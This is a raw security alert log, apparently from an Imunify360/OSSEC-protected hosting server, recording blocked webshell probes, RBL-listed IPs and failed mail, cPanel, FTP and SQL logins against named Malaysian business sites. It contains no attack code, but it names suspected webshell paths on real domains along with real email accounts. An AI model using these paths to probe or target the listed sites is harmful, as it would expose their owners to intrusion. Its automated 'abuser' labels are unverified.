domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-28.91.124.90.235||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.57.43.140
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-30.31.57.43.140||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/druma_photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-19 12:31:21 H=([91.92.240.254]) [91.92.240.254]:49561 F=<suffian@pspoly.com.my> rejected RCPT <suffian@pspoly.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 12:33:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:61611: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 12:33:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/photos/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 91.245.235.105
country_id: 6252001
domain: www.feliogroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/product.php||SC:/home2/feliogroupcom/public_html/images/product.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 194.124.240.175
country_id: 2635167
domain: www.feliogroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/certificate.php||SC:/home2/feliogroupcom/public_html/images/certificate.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.238.238
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psy/psysh/bin/build-manual HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.66.179.148
country_id: 2635167
domain: feliogroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/about.php||SC:/home2/feliogroupcom/public_html/images/about.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 110.239.213.118
country_id: 2635167
domain: feliogroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/index.php||SC:/home2/feliogroupcom/public_html/images/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 119.13.220.136
country_id: 6252001
domain: feliogroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/contact.php||SC:/home2/feliogroupcom/public_html/images/contact.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 140.228.24.177
country_id: 6252001
description:
Jan 19 12:37:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 140.228.24.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.177
country_id: 6252001
description:
2026-01-19 12:37:07 dovecot_plain authenticator failed for H=([10.18.136.5]) [140.228.24.177]:16992: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.232
country_id: 3175395
description:
Jan 19 12:37:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.232 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/druma_photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.133
country_id: 2300660
description:
Jan 19 12:42:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.118.87.114
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/Loader/PoFileLoader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.240
country_id: 2510769
description:
Jan 19 12:42:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.240
country_id: 2510769
description:
Jan 19 12:42:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/images/article.php||SC:/home/indfinitydesign/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59062: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 12:46:08 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56557: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.234
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/responsive.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.196
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/css/navigation.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/style.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.168
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/et-line-icons.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.236
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/magnific-popup.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.208
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/css/layers.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.237.72.230
country_id: 3469034
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.237
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/bootsnav.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/css/settings.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.232
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/justified-gallery.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/fonts/et-line.woff HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.187
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/fonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.178
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/swiper.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.217
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/animate.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.200
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/themify-icons.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.161
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/bootstrap.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.175
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/css/font-awesome.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.249
country_id: 690791
description:
Jan 19 12:48:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.249
country_id: 690791
description:
Jan 19 12:48:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.249 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.223.247.47
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=794941 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.199.217
country_id: 2510769
description:
Jan 19 12:52:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.199.217 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.137.29.232
country_id: 1269750
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/markbaker/matrix/classes/Autoloader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.99.150.163
country_id: 2635167
domain: www.modern.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.my/wp-content/uploads/hp-compaq-8000-elite-le176pa-hp-compaq.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.99.150.163
country_id: 2635167
domain: www.modern.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.myhttp/www.modern.com.my/wp-content/uploads/hp-compaq-8000-elite-le176pa-hp-compaq.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.208
country_id: 3469034
description:
Jan 19 12:53:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 12:54:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53069: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/testimonial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 13:00:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.116.196.137
country_id: 1522867
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/environment/src/OperatingSystem.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 13:04:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.128.7
country_id: 1562822
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/about.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.146.28.23
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-08.45.146.28.23||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.169.18.143
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 202.47.41.5
country_id: 1168579
domain: sutsb.com.my
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home/sutsbcom/public_html/wp-includes/assets/script-loader-packages.min.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.176.51.50
country_id: 1562822
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/elk5920.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.85.72.251
country_id: 3865483
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/elk5954.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.70.74.144
country_id: 3469034
description:
Jan 19 13:11:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.70.74.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.29.74.131
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-12.64.29.74.131||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350600
name: IM360 WAF: Suspicious .min.php file in wp-includes
abuser: 146.174.167.31
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious .min.php file in wp-includes||SC:/home/sutsbcom/public_html/wp-includes/assets/script-loader-react-refresh-entry.min.php||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 13:14:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59072: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.26
country_id: 690791
description:
Jan 19 13:15:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.29
country_id: 3469034
description:
Jan 19 13:15:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 13:16:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56572: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.67.160.18
country_id: 895949
description:
[2026-01-19 13:16:34 +0800] info [cpaneld] 102.67.160.18 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.156.205.248
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=15631526631829 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.248.206.214
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=4&page_id=1 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 13:22:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53147: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.121.75
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74881514511818 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 50.114.251.208
country_id: 1880251
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/images/about-photo.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.125.4.24
country_id: 798544
description:
Jan 19 13:22:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.125.4.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 13:27:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.15.88
country_id: 798544
description:
Jan 19 13:27:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.15.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.107
country_id: 1269750
description:
Jan 19 13:27:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 13:31:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 213.230.126.180
country_id: 1512440
description:
Jan 19 13:31:46 sv3 pure-ftpd[4055822]: (?@213.230.126.180) [INFO] New connection from 213.230.126.180


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 213.230.126.180
country_id: 1512440
description:
Jan 19 13:31:50 sv3 pure-ftpd[4055822]: (?@213.230.126.180) [WARNING] Authentication failed for user [ftp]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.3.130
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/TranslatorInterface.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 61.247.182.213
country_id: 1210997
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/career.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 159.224.231.187
country_id: 690791
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/index.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.135.170.69
country_id: 192950
domain: ds-staffing.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ds-staffing.com/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.67.176.149
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=8 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.28.228.208
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=100 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.137.57.249
country_id: 1835841
description:
2026-01-19 13:41:52 dovecot_login authenticator failed for H=([125.137.57.249]) [125.137.57.249]:36079: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 13:42:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:59079: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.110.27.58
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-41.172.110.27.58||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 103.118.150.170
country_id: 1269750
description:
2026-01-19 13:43:18 345450 [Warning] Aborted connection 345450 to db: 'unconnected' user: 'unauthenticated' host: '103.118.150.170' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 13:43:47 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56576: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.138.65
country_id: 1733045
description:
2026-01-19 13:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.138.65]:56577: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.219.234.252
country_id: 6252001
description:
